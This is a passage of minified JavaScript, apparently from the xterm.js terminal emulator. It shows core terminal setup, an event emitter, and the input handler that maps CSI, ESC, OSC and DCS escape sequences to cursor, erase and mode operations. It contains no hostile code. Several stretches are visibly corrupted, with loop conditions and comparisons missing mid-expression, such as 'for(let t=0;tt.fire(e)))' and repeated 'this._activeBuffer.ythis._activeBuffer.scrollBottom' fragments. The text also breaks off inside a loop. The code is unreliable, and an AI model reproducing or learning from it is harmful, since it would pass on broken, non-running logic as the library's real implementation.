v.InputHandler(this._bufferService,this._charsetService,this.coreService,this._logService,this.optionsService,this._oscLinkService,this.coreMouseService,this.unicodeService)),this.register((0,l.forwardEvent)(this._inputHandler.onLineFeed,this._onLineFeed)),this.register(this._inputHandler),this.register((0,l.forwardEvent)(this._bufferService.onResize,this._onResize)),this.register((0,l.forwardEvent)(this.coreService.onData,this._onData)),this.register((0,l.forwardEvent)(this.coreService.onBinary,this._onBinary)),this.register(this.coreService.onRequestScrollToBottom((()=>this.scrollToBottom()))),this.register(this.coreService.onUserInput((()=>this._writeBuffer.handleUserInput()))),this.register(this.optionsService.onMultipleOptionChange(["windowsMode","windowsPty"],(()=>this._handleWindowsPtyOptionChange()))),this.register(this._bufferService.onScroll((e=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)}))),this.register(this._inputHandler.onScroll((e=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)}))),this._writeBuffer=this.register(new p.WriteBuffer(((e,t)=>this._inputHandler.parse(e,t)))),this.register((0,l.forwardEvent)(this._writeBuffer.onWriteParsed,this._onWriteParsed))}write(e,t){this._writeBuffer.write(e,t)}writeSync(e,t){this._logService.logLevel<=r.LogLevelEnum.WARN&&!m&&(this._logService.warn("writeSync is unreliable and will be removed soon."),m=!0),this._writeBuffer.writeSync(e,t)}resize(e,t){isNaN(e)||isNaN(t)||(e=Math.max(e,a.MINIMUM_COLS),t=Math.max(t,a.MINIMUM_ROWS),this._bufferService.resize(e,t))}scroll(e,t=!1){this._bufferService.scroll(e,t)}scrollLines(e,t,i){this._bufferService.scrollLines(e,t,i)}scrollPages(e){this.scrollLines(e*(this.rows-1))}scrollToTop(){this.scrollLines(-this._bufferService.buffer.ydisp)}scrollToBottom(){this.scrollLines(this._bufferService.buffer.ybase-this._bufferService.buffer.ydisp)}scrollToLine(e){const t=e-this._bufferService.buffer.ydisp;0!==t&&this.scrollLines(t)}registerEscHandler(e,t){return this._inputHandler.registerEscHandler(e,t)}registerDcsHandler(e,t){return this._inputHandler.registerDcsHandler(e,t)}registerCsiHandler(e,t){return this._inputHandler.registerCsiHandler(e,t)}registerOscHandler(e,t){return this._inputHandler.registerOscHandler(e,t)}_setup(){this._handleWindowsPtyOptionChange()}reset(){this._inputHandler.reset(),this._bufferService.reset(),this._charsetService.reset(),this.coreService.reset(),this.coreMouseService.reset()}_handleWindowsPtyOptionChange(){let e=!1;const t=this.optionsService.rawOptions.windowsPty;t&&void 0!==t.buildNumber&&void 0!==t.buildNumber?e=!!("conpty"===t.backend&&t.buildNumber<21376):this.optionsService.rawOptions.windowsMode&&(e=!0),e?this._enableWindowsWrappingHeuristics():this._windowsWrappingHeuristics.clear()}_enableWindowsWrappingHeuristics(){if(!this._windowsWrappingHeuristics.value){const e=[];e.push(this.onLineFeed(f.updateWindowsModeWrappedState.bind(null,this._bufferService))),e.push(this.registerCsiHandler({final:"H"},(()=>((0,f.updateWindowsModeWrappedState)(this._bufferService),!1)))),this._windowsWrappingHeuristics.value=(0,s.toDisposable)((()=>{for(const t of e)t.dispose()}))}}}t.CoreTerminal=S},8460:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.forwardEvent=t.EventEmitter=void 0,t.EventEmitter=class{constructor(){this._listeners=[],this._disposed=!1}get event(){return this._event||(this._event=e=>(this._listeners.push(e),{dispose:()=>{if(!this._disposed)for(let t=0;tt.fire(e)))}},5435:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.InputHandler=t.WindowsOptionsReportType=void 0;const n=i(2584),o=i(7116),a=i(2015),h=i(844),c=i(482),l=i(8437),d=i(8460),_=i(643),u=i(511),f=i(3734),v=i(2585),p=i(6242),g=i(6351),m=i(5941),S={"(":0,")":1,"*":2,"+":3,"-":1,".":2},C=131072;function b(e,t){if(e>24)return t.setWinLines||!1;switch(e){case 1:return!!t.restoreWin;case 2:return!!t.minimizeWin;case 3:return!!t.setWinPosition;case 4:return!!t.setWinSizePixels;case 5:return!!t.raiseWin;case 6:return!!t.lowerWin;case 7:return!!t.refreshWin;case 8:return!!t.setWinSizeChars;case 9:return!!t.maximizeWin;case 10:return!!t.fullscreenWin;case 11:return!!t.getWinState;case 13:return!!t.getWinPosition;case 14:return!!t.getWinSizePixels;case 15:return!!t.getScreenSizePixels;case 16:return!!t.getCellSizePixels;case 18:return!!t.getWinSizeChars;case 19:return!!t.getScreenSizeChars;case 20:return!!t.getIconTitle;case 21:return!!t.getWinTitle;case 22:return!!t.pushTitle;case 23:return!!t.popTitle;case 24:return!!t.setWinLines}return!1}var y;!function(e){e[e.GET_WIN_SIZE_PIXELS=0]="GET_WIN_SIZE_PIXELS",e[e.GET_CELL_SIZE_PIXELS=1]="GET_CELL_SIZE_PIXELS"}(y||(t.WindowsOptionsReportType=y={}));let w=0;class E extends h.Disposable{getAttrData(){return this._curAttrData}constructor(e,t,i,s,r,h,_,f,v=new a.EscapeSequenceParser){super(),this._bufferService=e,this._charsetService=t,this._coreService=i,this._logService=s,this._optionsService=r,this._oscLinkService=h,this._coreMouseService=_,this._unicodeService=f,this._parser=v,this._parseBuffer=new Uint32Array(4096),this._stringDecoder=new c.StringToUtf32,this._utf8Decoder=new c.Utf8ToUtf32,this._workCell=new u.CellData,this._windowTitle="",this._iconName="",this._windowTitleStack=[],this._iconNameStack=[],this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=l.DEFAULT_ATTR_DATA.clone(),this._onRequestBell=this.register(new d.EventEmitter),this.onRequestBell=this._onRequestBell.event,this._onRequestRefreshRows=this.register(new d.EventEmitter),this.onRequestRefreshRows=this._onRequestRefreshRows.event,this._onRequestReset=this.register(new d.EventEmitter),this.onRequestReset=this._onRequestReset.event,this._onRequestSendFocus=this.register(new d.EventEmitter),this.onRequestSendFocus=this._onRequestSendFocus.event,this._onRequestSyncScrollBar=this.register(new d.EventEmitter),this.onRequestSyncScrollBar=this._onRequestSyncScrollBar.event,this._onRequestWindowsOptionsReport=this.register(new d.EventEmitter),this.onRequestWindowsOptionsReport=this._onRequestWindowsOptionsReport.event,this._onA11yChar=this.register(new d.EventEmitter),this.onA11yChar=this._onA11yChar.event,this._onA11yTab=this.register(new d.EventEmitter),this.onA11yTab=this._onA11yTab.event,this._onCursorMove=this.register(new d.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onLineFeed=this.register(new d.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onScroll=this.register(new d.EventEmitter),this.onScroll=this._onScroll.event,this._onTitleChange=this.register(new d.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onColor=this.register(new d.EventEmitter),this.onColor=this._onColor.event,this._parseStack={paused:!1,cursorStartX:0,cursorStartY:0,decodedLength:0,position:0},this._specialColors=[256,257,258],this.register(this._parser),this._dirtyRowTracker=new k(this._bufferService),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate((e=>this._activeBuffer=e.activeBuffer))),this._parser.setCsiHandlerFallback(((e,t)=>{this._logService.debug("Unknown CSI code: ",{identifier:this._parser.identToString(e),params:t.toArray()})})),this._parser.setEscHandlerFallback((e=>{this._logService.debug("Unknown ESC code: ",{identifier:this._parser.identToString(e)})})),this._parser.setExecuteHandlerFallback((e=>{this._logService.debug("Unknown EXECUTE code: ",{code:e})})),this._parser.setOscHandlerFallback(((e,t,i)=>{this._logService.debug("Unknown OSC code: ",{identifier:e,action:t,data:i})})),this._parser.setDcsHandlerFallback(((e,t,i)=>{"HOOK"===t&&(i=i.toArray()),this._logService.debug("Unknown DCS code: ",{identifier:this._parser.identToString(e),action:t,payload:i})})),this._parser.setPrintHandler(((e,t,i)=>this.print(e,t,i))),this._parser.registerCsiHandler({final:"@"},(e=>this.insertChars(e))),this._parser.registerCsiHandler({intermediates:" ",final:"@"},(e=>this.scrollLeft(e))),this._parser.registerCsiHandler({final:"A"},(e=>this.cursorUp(e))),this._parser.registerCsiHandler({intermediates:" ",final:"A"},(e=>this.scrollRight(e))),this._parser.registerCsiHandler({final:"B"},(e=>this.cursorDown(e))),this._parser.registerCsiHandler({final:"C"},(e=>this.cursorForward(e))),this._parser.registerCsiHandler({final:"D"},(e=>this.cursorBackward(e))),this._parser.registerCsiHandler({final:"E"},(e=>this.cursorNextLine(e))),this._parser.registerCsiHandler({final:"F"},(e=>this.cursorPrecedingLine(e))),this._parser.registerCsiHandler({final:"G"},(e=>this.cursorCharAbsolute(e))),this._parser.registerCsiHandler({final:"H"},(e=>this.cursorPosition(e))),this._parser.registerCsiHandler({final:"I"},(e=>this.cursorForwardTab(e))),this._parser.registerCsiHandler({final:"J"},(e=>this.eraseInDisplay(e,!1))),this._parser.registerCsiHandler({prefix:"?",final:"J"},(e=>this.eraseInDisplay(e,!0))),this._parser.registerCsiHandler({final:"K"},(e=>this.eraseInLine(e,!1))),this._parser.registerCsiHandler({prefix:"?",final:"K"},(e=>this.eraseInLine(e,!0))),this._parser.registerCsiHandler({final:"L"},(e=>this.insertLines(e))),this._parser.registerCsiHandler({final:"M"},(e=>this.deleteLines(e))),this._parser.registerCsiHandler({final:"P"},(e=>this.deleteChars(e))),this._parser.registerCsiHandler({final:"S"},(e=>this.scrollUp(e))),this._parser.registerCsiHandler({final:"T"},(e=>this.scrollDown(e))),this._parser.registerCsiHandler({final:"X"},(e=>this.eraseChars(e))),this._parser.registerCsiHandler({final:"Z"},(e=>this.cursorBackwardTab(e))),this._parser.registerCsiHandler({final:"`"},(e=>this.charPosAbsolute(e))),this._parser.registerCsiHandler({final:"a"},(e=>this.hPositionRelative(e))),this._parser.registerCsiHandler({final:"b"},(e=>this.repeatPrecedingCharacter(e))),this._parser.registerCsiHandler({final:"c"},(e=>this.sendDeviceAttributesPrimary(e))),this._parser.registerCsiHandler({prefix:">",final:"c"},(e=>this.sendDeviceAttributesSecondary(e))),this._parser.registerCsiHandler({final:"d"},(e=>this.linePosAbsolute(e))),this._parser.registerCsiHandler({final:"e"},(e=>this.vPositionRelative(e))),this._parser.registerCsiHandler({final:"f"},(e=>this.hVPosition(e))),this._parser.registerCsiHandler({final:"g"},(e=>this.tabClear(e))),this._parser.registerCsiHandler({final:"h"},(e=>this.setMode(e))),this._parser.registerCsiHandler({prefix:"?",final:"h"},(e=>this.setModePrivate(e))),this._parser.registerCsiHandler({final:"l"},(e=>this.resetMode(e))),this._parser.registerCsiHandler({prefix:"?",final:"l"},(e=>this.resetModePrivate(e))),this._parser.registerCsiHandler({final:"m"},(e=>this.charAttributes(e))),this._parser.registerCsiHandler({final:"n"},(e=>this.deviceStatus(e))),this._parser.registerCsiHandler({prefix:"?",final:"n"},(e=>this.deviceStatusPrivate(e))),this._parser.registerCsiHandler({intermediates:"!",final:"p"},(e=>this.softReset(e))),this._parser.registerCsiHandler({intermediates:" ",final:"q"},(e=>this.setCursorStyle(e))),this._parser.registerCsiHandler({final:"r"},(e=>this.setScrollRegion(e))),this._parser.registerCsiHandler({final:"s"},(e=>this.saveCursor(e))),this._parser.registerCsiHandler({final:"t"},(e=>this.windowOptions(e))),this._parser.registerCsiHandler({final:"u"},(e=>this.restoreCursor(e))),this._parser.registerCsiHandler({intermediates:"'",final:"}"},(e=>this.insertColumns(e))),this._parser.registerCsiHandler({intermediates:"'",final:"~"},(e=>this.deleteColumns(e))),this._parser.registerCsiHandler({intermediates:'"',final:"q"},(e=>this.selectProtected(e))),this._parser.registerCsiHandler({intermediates:"$",final:"p"},(e=>this.requestMode(e,!0))),this._parser.registerCsiHandler({prefix:"?",intermediates:"$",final:"p"},(e=>this.requestMode(e,!1))),this._parser.setExecuteHandler(n.C0.BEL,(()=>this.bell())),this._parser.setExecuteHandler(n.C0.LF,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.VT,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.FF,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.CR,(()=>this.carriageReturn())),this._parser.setExecuteHandler(n.C0.BS,(()=>this.backspace())),this._parser.setExecuteHandler(n.C0.HT,(()=>this.tab())),this._parser.setExecuteHandler(n.C0.SO,(()=>this.shiftOut())),this._parser.setExecuteHandler(n.C0.SI,(()=>this.shiftIn())),this._parser.setExecuteHandler(n.C1.IND,(()=>this.index())),this._parser.setExecuteHandler(n.C1.NEL,(()=>this.nextLine())),this._parser.setExecuteHandler(n.C1.HTS,(()=>this.tabSet())),this._parser.registerOscHandler(0,new p.OscHandler((e=>(this.setTitle(e),this.setIconName(e),!0)))),this._parser.registerOscHandler(1,new p.OscHandler((e=>this.setIconName(e)))),this._parser.registerOscHandler(2,new p.OscHandler((e=>this.setTitle(e)))),this._parser.registerOscHandler(4,new p.OscHandler((e=>this.setOrReportIndexedColor(e)))),this._parser.registerOscHandler(8,new p.OscHandler((e=>this.setHyperlink(e)))),this._parser.registerOscHandler(10,new p.OscHandler((e=>this.setOrReportFgColor(e)))),this._parser.registerOscHandler(11,new p.OscHandler((e=>this.setOrReportBgColor(e)))),this._parser.registerOscHandler(12,new p.OscHandler((e=>this.setOrReportCursorColor(e)))),this._parser.registerOscHandler(104,new p.OscHandler((e=>this.restoreIndexedColor(e)))),this._parser.registerOscHandler(110,new p.OscHandler((e=>this.restoreFgColor(e)))),this._parser.registerOscHandler(111,new p.OscHandler((e=>this.restoreBgColor(e)))),this._parser.registerOscHandler(112,new p.OscHandler((e=>this.restoreCursorColor(e)))),this._parser.registerEscHandler({final:"7"},(()=>this.saveCursor())),this._parser.registerEscHandler({final:"8"},(()=>this.restoreCursor())),this._parser.registerEscHandler({final:"D"},(()=>this.index())),this._parser.registerEscHandler({final:"E"},(()=>this.nextLine())),this._parser.registerEscHandler({final:"H"},(()=>this.tabSet())),this._parser.registerEscHandler({final:"M"},(()=>this.reverseIndex())),this._parser.registerEscHandler({final:"="},(()=>this.keypadApplicationMode())),this._parser.registerEscHandler({final:">"},(()=>this.keypadNumericMode())),this._parser.registerEscHandler({final:"c"},(()=>this.fullReset())),this._parser.registerEscHandler({final:"n"},(()=>this.setgLevel(2))),this._parser.registerEscHandler({final:"o"},(()=>this.setgLevel(3))),this._parser.registerEscHandler({final:"|"},(()=>this.setgLevel(3))),this._parser.registerEscHandler({final:"}"},(()=>this.setgLevel(2))),this._parser.registerEscHandler({final:"~"},(()=>this.setgLevel(1))),this._parser.registerEscHandler({intermediates:"%",final:"@"},(()=>this.selectDefaultCharset())),this._parser.registerEscHandler({intermediates:"%",final:"G"},(()=>this.selectDefaultCharset()));for(const e in o.CHARSETS)this._parser.registerEscHandler({intermediates:"(",final:e},(()=>this.selectCharset("("+e))),this._parser.registerEscHandler({intermediates:")",final:e},(()=>this.selectCharset(")"+e))),this._parser.registerEscHandler({intermediates:"*",final:e},(()=>this.selectCharset("*"+e))),this._parser.registerEscHandler({intermediates:"+",final:e},(()=>this.selectCharset("+"+e))),this._parser.registerEscHandler({intermediates:"-",final:e},(()=>this.selectCharset("-"+e))),this._parser.registerEscHandler({intermediates:".",final:e},(()=>this.selectCharset("."+e))),this._parser.registerEscHandler({intermediates:"/",final:e},(()=>this.selectCharset("/"+e)));this._parser.registerEscHandler({intermediates:"#",final:"8"},(()=>this.screenAlignmentPattern())),this._parser.setErrorHandler((e=>(this._logService.error("Parsing error: ",e),e))),this._parser.registerDcsHandler({intermediates:"$",final:"q"},new g.DcsHandler(((e,t)=>this.requestStatusString(e,t))))}_preserveStack(e,t,i,s){this._parseStack.paused=!0,this._parseStack.cursorStartX=e,this._parseStack.cursorStartY=t,this._parseStack.decodedLength=i,this._parseStack.position=s}_logSlowResolvingAsync(e){this._logService.logLevel<=v.LogLevelEnum.WARN&&Promise.race([e,new Promise(((e,t)=>setTimeout((()=>t("#SLOW_TIMEOUT")),5e3)))]).catch((e=>{if("#SLOW_TIMEOUT"!==e)throw e;console.warn("async parser handler taking longer than 5000 ms")}))}_getCurrentLinkId(){return this._curAttrData.extended.urlId}parse(e,t){let i,s=this._activeBuffer.x,r=this._activeBuffer.y,n=0;const o=this._parseStack.paused;if(o){if(i=this._parser.parse(this._parseBuffer,this._parseStack.decodedLength,t))return this._logSlowResolvingAsync(i),i;s=this._parseStack.cursorStartX,r=this._parseStack.cursorStartY,this._parseStack.paused=!1,e.length>C&&(n=this._parseStack.position+C)}if(this._logService.logLevel<=v.LogLevelEnum.DEBUG&&this._logService.debug("parsing data"+("string"==typeof e?` "${e}"`:` "${Array.prototype.map.call(e,(e=>String.fromCharCode(e))).join("")}"`),"string"==typeof e?e.split("").map((e=>e.charCodeAt(0))):e),this._parseBuffer.lengthC)for(let t=n;t0&&2===u.getWidth(this._activeBuffer.x-1)&&u.setCellFromCodePoint(this._activeBuffer.x-1,0,1,d.fg,d.bg,d.extended);for(let f=t;f=a)if(h){for(;this._activeBuffer.x=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!0),u=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y)}else if(this._activeBuffer.x=a-1,2===r)continue;if(l&&(u.insertCells(this._activeBuffer.x,r,this._activeBuffer.getNullCell(d),d),2===u.getWidth(a-1)&&u.setCellFromCodePoint(a-1,_.NULL_CELL_CODE,_.NULL_CELL_WIDTH,d.fg,d.bg,d.extended)),u.setCellFromCodePoint(this._activeBuffer.x++,s,r,d.fg,d.bg,d.extended),r>0)for(;--r;)u.setCellFromCodePoint(this._activeBuffer.x++,0,0,d.fg,d.bg,d.extended)}else u.getWidth(this._activeBuffer.x-1)?u.addCodepointToCell(this._activeBuffer.x-1,s):u.addCodepointToCell(this._activeBuffer.x-2,s)}i-t>0&&(u.loadCell(this._activeBuffer.x-1,this._workCell),2===this._workCell.getWidth()||this._workCell.getCode()>65535?this._parser.precedingCodepoint=0:this._workCell.isCombined()?this._parser.precedingCodepoint=this._workCell.getChars().charCodeAt(0):this._parser.precedingCodepoint=this._workCell.content),this._activeBuffer.x0&&0===u.getWidth(this._activeBuffer.x)&&!u.hasContent(this._activeBuffer.x)&&u.setCellFromCodePoint(this._activeBuffer.x,0,1,d.fg,d.bg,d.extended),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}registerCsiHandler(e,t){return"t"!==e.final||e.prefix||e.intermediates?this._parser.registerCsiHandler(e,t):this._parser.registerCsiHandler(e,(e=>!b(e.params[0],this._optionsService.rawOptions.windowOptions)||t(e)))}registerDcsHandler(e,t){return this._parser.registerDcsHandler(e,new g.DcsHandler(t))}registerEscHandler(e,t){return this._parser.registerEscHandler(e,t)}registerOscHandler(e,t){return this._parser.registerOscHandler(e,new p.OscHandler(t))}bell(){return this._onRequestBell.fire(),!0}lineFeed(){return this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._optionsService.rawOptions.convertEol&&(this._activeBuffer.x=0),this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData())):this._activeBuffer.y>=this._bufferService.rows?this._activeBuffer.y=this._bufferService.rows-1:this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.x>=this._bufferService.cols&&this._activeBuffer.x--,this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._onLineFeed.fire(),!0}carriageReturn(){return this._activeBuffer.x=0,!0}backspace(){var e;if(!this._coreService.decPrivateModes.reverseWraparound)return this._restrictCursor(),this._activeBuffer.x>0&&this._activeBuffer.x--,!0;if(this._restrictCursor(this._bufferService.cols),this._activeBuffer.x>0)this._activeBuffer.x--;else if(0===this._activeBuffer.x&&this._activeBuffer.y>this._activeBuffer.scrollTop&&this._activeBuffer.y<=this._activeBuffer.scrollBottom&&(null===(e=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y))||void 0===e?void 0:e.isWrapped)){this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.y--,this._activeBuffer.x=this._bufferService.cols-1;const e=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);e.hasWidth(this._activeBuffer.x)&&!e.hasContent(this._activeBuffer.x)&&this._activeBuffer.x--}return this._restrictCursor(),!0}tab(){if(this._activeBuffer.x>=this._bufferService.cols)return!0;const e=this._activeBuffer.x;return this._activeBuffer.x=this._activeBuffer.nextStop(),this._optionsService.rawOptions.screenReaderMode&&this._onA11yTab.fire(this._activeBuffer.x-e),!0}shiftOut(){return this._charsetService.setgLevel(1),!0}shiftIn(){return this._charsetService.setgLevel(0),!0}_restrictCursor(e=this._bufferService.cols-1){this._activeBuffer.x=Math.min(e,Math.max(0,this._activeBuffer.x)),this._activeBuffer.y=this._coreService.decPrivateModes.origin?Math.min(this._activeBuffer.scrollBottom,Math.max(this._activeBuffer.scrollTop,this._activeBuffer.y)):Math.min(this._bufferService.rows-1,Math.max(0,this._activeBuffer.y)),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_setCursor(e,t){this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._coreService.decPrivateModes.origin?(this._activeBuffer.x=e,this._activeBuffer.y=this._activeBuffer.scrollTop+t):(this._activeBuffer.x=e,this._activeBuffer.y=t),this._restrictCursor(),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_moveCursor(e,t){this._restrictCursor(),this._setCursor(this._activeBuffer.x+e,this._activeBuffer.y+t)}cursorUp(e){const t=this._activeBuffer.y-this._activeBuffer.scrollTop;return t>=0?this._moveCursor(0,-Math.min(t,e.params[0]||1)):this._moveCursor(0,-(e.params[0]||1)),!0}cursorDown(e){const t=this._activeBuffer.scrollBottom-this._activeBuffer.y;return t>=0?this._moveCursor(0,Math.min(t,e.params[0]||1)):this._moveCursor(0,e.params[0]||1),!0}cursorForward(e){return this._moveCursor(e.params[0]||1,0),!0}cursorBackward(e){return this._moveCursor(-(e.params[0]||1),0),!0}cursorNextLine(e){return this.cursorDown(e),this._activeBuffer.x=0,!0}cursorPrecedingLine(e){return this.cursorUp(e),this._activeBuffer.x=0,!0}cursorCharAbsolute(e){return this._setCursor((e.params[0]||1)-1,this._activeBuffer.y),!0}cursorPosition(e){return this._setCursor(e.length>=2?(e.params[1]||1)-1:0,(e.params[0]||1)-1),!0}charPosAbsolute(e){return this._setCursor((e.params[0]||1)-1,this._activeBuffer.y),!0}hPositionRelative(e){return this._moveCursor(e.params[0]||1,0),!0}linePosAbsolute(e){return this._setCursor(this._activeBuffer.x,(e.params[0]||1)-1),!0}vPositionRelative(e){return this._moveCursor(0,e.params[0]||1),!0}hVPosition(e){return this.cursorPosition(e),!0}tabClear(e){const t=e.params[0];return 0===t?delete this._activeBuffer.tabs[this._activeBuffer.x]:3===t&&(this._activeBuffer.tabs={}),!0}cursorForwardTab(e){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let t=e.params[0]||1;for(;t--;)this._activeBuffer.x=this._activeBuffer.nextStop();return!0}cursorBackwardTab(e){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let t=e.params[0]||1;for(;t--;)this._activeBuffer.x=this._activeBuffer.prevStop();return!0}selectProtected(e){const t=e.params[0];return 1===t&&(this._curAttrData.bg|=536870912),2!==t&&0!==t||(this._curAttrData.bg&=-536870913),!0}_eraseInBufferLine(e,t,i,s=!1,r=!1){const n=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);n.replaceCells(t,i,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData(),r),s&&(n.isWrapped=!1)}_resetBufferLine(e,t=!1){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i&&(i.fill(this._activeBuffer.getNullCell(this._eraseAttrData()),t),this._bufferService.buffer.clearMarkers(this._activeBuffer.ybase+e),i.isWrapped=!1)}eraseInDisplay(e,t=!1){let i;switch(this._restrictCursor(this._bufferService.cols),e.params[0]){case 0:for(i=this._activeBuffer.y,this._dirtyRowTracker.markDirty(i),this._eraseInBufferLine(i++,this._activeBuffer.x,this._bufferService.cols,0===this._activeBuffer.x,t);i=this._bufferService.cols&&(this._activeBuffer.lines.get(i+1).isWrapped=!1);i--;)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(0);break;case 2:for(i=this._bufferService.rows,this._dirtyRowTracker.markDirty(i-1);i--;)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(0);break;case 3:const e=this._activeBuffer.lines.length-this._bufferService.rows;e>0&&(this._activeBuffer.lines.trimStart(e),this._activeBuffer.ybase=Math.max(this._activeBuffer.ybase-e,0),this._activeBuffer.ydisp=Math.max(this._activeBuffer.ydisp-e,0),this._onScroll.fire(0))}return!0}eraseInLine(e,t=!1){switch(this._restrictCursor(this._bufferService.cols),e.params[0]){case 0:this._eraseInBufferLine(this._activeBuffer.y,this._activeBuffer.x,this._bufferService.cols,0===this._activeBuffer.x,t);break;case 1:this._eraseInBufferLine(this._activeBuffer.y,0,this._activeBuffer.x+1,!1,t);break;case 2:this._eraseInBufferLine(this._activeBuffer.y,0,this._bufferService.cols,!0,t)}return this._dirtyRowTracker.markDirty(this._activeBuffer.y),!0}insertLines(e){this._restrictCursor();let t=e.params[0]||1;if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.ythis._activeBuffer.scrollBottom||this._activeBuffer.y0||(this._is("xterm")||this._is("rxvt-unicode")||this._is("screen")?this._coreService.triggerDataEvent(n.C0.ESC+"[?1;2c"):this._is("linux")&&this._coreService.triggerDataEvent(n.C0.ESC+"[?6c")),!0}sendDeviceAttributesSecondary(e){return e.params[0]>0||(this._is("xterm")?this._coreService.triggerDataEvent(n.C0.ESC+"[>0;276;0c"):this._is("rxvt-unicode")?this._coreService.triggerDataEvent(n.C0.ESC+"[>85;95;0c"):this._is("linux")?this._coreService.triggerDataEvent(e.params[0]+"c"):this._is("screen")&&this._coreService.triggerDataEvent(n.C0.ESC+"[>83;40003;0c")),!0}_is(e){return 0===(this._optionsService.rawOptions.termName+"").indexOf(e)}setMode(e){for(let t=0;te?1:2,u=e.params[0];return f=u,v=t?2===u?4:4===u?_(o.modes.insertMode):12===u?3:20===u?_(d.convertEol):0:1===u?_(i.applicationCursorKeys):3===u?d.windowOptions.setWinLines?80===h?2:132===h?1:0:0:6===u?_(i.origin):7===u?_(i.wraparound):8===u?3:9===u?_("X10"===s):12===u?_(d.cursorBlink):25===u?_(!o.isCursorHidden):45===u?_(i.reverseWraparound):66===u?_(i.applicationKeypad):67===u?4:1e3===u?_("VT200"===s):1002===u?_("DRAG"===s):1003===u?_("ANY"===s):1004===u?_(i.sendFocus):1005===u?4:1006===u?_("SGR"===r):1015===u?4:1016===u?_("SGR_PIXELS"===r):1048===u?1:47===u||1047===u||1049===u?_(c===l):2004===u?_(i.bracketedPasteMode):0,o.triggerDataEvent(`${n.C0.ESC}[${t?"":"?"}${f};${v}$y`),!0;var f,v}_updateAttrColor(e,t,i,s,r){return 2===t?(e|=50331648,e&=-16777216,e|=f.AttributeData.fromColorRGB([i,s,r])):5===t&&(e&=-50331904,e|=33554432|255&i),e}_extractColor(e,t,i){const s=[0,0,-1,0,0,0];let r=0,n=0;do{if(s[n+r]=e.params[t+n],e.hasSubParams(t+n)){const i=e.getSubParams(t+n);let o=0;do{5===s[1]&&(r=1),s[n+o+1+r]=i[o]}while(++o=2||2===s[1]&&n+r>=5)break;s[1]&&(r=1)}while(++n+t5)&&(e=1),t.extended.underlineStyle=e,t.fg|=268435456,0===e&&(t.fg&=-268435457),t.updateExtended()}_processSGR0(e){e.fg=l.DEFAULT_ATTR_DATA.fg,e.bg=l.DEFAULT_ATTR_DATA.bg,e.extended=e.extended.clone(),e.extended.underlineStyle=0,e.extended.underlineColor&=-67108864,e.updateExtended()}charAttributes(e){if(1===e.length&&0===e.params[0])return this._processSGR0(this._curAttrData),!0;const t=e.length;let i;const s=this._curAttrData;for(let 